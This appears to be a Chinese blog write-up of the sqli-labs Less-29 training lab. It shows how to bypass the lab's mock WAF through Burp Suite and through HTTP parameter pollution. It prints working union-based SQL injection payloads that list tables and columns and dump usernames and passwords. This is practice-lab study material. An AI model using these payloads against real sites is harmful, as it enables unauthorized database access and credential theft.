当前位置:网站首页>sqlilabs less-29
sqlilabs less-29
2022-07-25 05:35:00 【永远是深夜该多好。】
前期判断
一进来就看到说有WAF,赶紧去试试拦截了什么。

感觉不对啊,这防火墙是不是出问题了。
看起来真出问题了,赶紧去看看源码,index.php的文件就是本界面,可以看出来没有任何过滤。
还有两个分别是诸如被拦截的页面和有防火墙的页面。
诸如被拦截的界面。
有WAF的界面。
测试发现大部分符号都被拦截了。
注入
方法一:中间人
突然有几个问题,是否为前端判断,能否用中间人方法绕过WAF,抓包丢进burp suite的Repeater里面测试一下,能看到貌似绕过了WAF。

英文单引号注入,注意在burpsuite里面id=后面的参数之间不能有空格,要不然burpsuite会认为用空格相隔的就不是参数,就会出现错误请求。
简而言之就是想办法让id=后面的参数都是同一个颜色(此处是绿色),这应该是众多方法之一。
判断行数。
判断表名。
-1'union(select(1),2,group_concat(table_name)from(information_schema.tables)where(table_schema=database()))--+

判断列名。
-1'union(select(1),2,group_concat(column_name)from(information_schema.columns)where(table_name='users'))--+

值
-1'union(select(1),group_concat(username),group_concat(password)from(users))--+

方法二:
先测试一下看看那些字符没有被拦截,以便利用。
发现"&",没有被过滤,该怎么利用呢。
可以看到本来被过滤的字符跟在&后面就能够使用了。
表名。
1&id=-1' union select null,null,group_concat(table_name) from information_schema.tables where table_schema=database()--+

边栏推荐
- Ping command
- The price is 17300! Why does Huawei mate x face Samsung fold?
- OpenFegin远程调用丢失请求头问题
- Deep error
- How to carry out the function test with simple appearance and complex interior?
- Odoo14 | about the abnormal display of statusbar keyword after use and Its Solutions
- Unity中使用UniRx入门总结
- Redis cluster setup (Windows)
- 批量下载视频小技巧
- Add transition layer to JS page
猜你喜欢

线性代数(三)

ThreadLocal

Introduction to base ring tree

Array programming problem of CSDN programming challenge

Redis cluster setup (Windows)

What about reinstalling win11 system?

Win11 how to view the file explorer tab

VIM search and replacement and the use of regular expressions

C Programming -- the solution of dynamic programming of "the sum of the largest subarray"

Solution of win11 blue screen code 0x0000001a
随机推荐
Realsense D435i 深度图优化_高精度模式
OpenFegin远程调用丢失请求头问题
After Oracle user a deletes a table under user B's name, can user B recover the deleted table through the recycle bin?
自己实现is_base_of
LCP plug-in creates peer VLAN interface
06. Libavdevice Library of ffmpeg
ABC 261.D - Flipping and Bonus ( DP )
50:第五章:开发admin管理服务:3:开发【查询admin用户名是否已存在,接口】;(这个接口需要登录时才能调用;所以我们编写了拦截器,让其拦截请求,判断用户是否是登录状态;)
LCP plug-in creates peer-to-peer physical interface
systemVerilog中automatic用法
STL notes (VIII): container - List
Bug --- redis deserialization failed
微服务 - 网关Gateway组件
微服务 - 远程调用(Feign组件)
The price is 17300! Why does Huawei mate x face Samsung fold?
Introduction to interface in SystemVerilog
easyrecovery免费数据恢复工具操作简单一键恢复数据
Atof(), atoi(), atol() functions [detailed]
STL notes (IV): String
Easyrecovery free data recovery tool is easy to operate and restore data with one click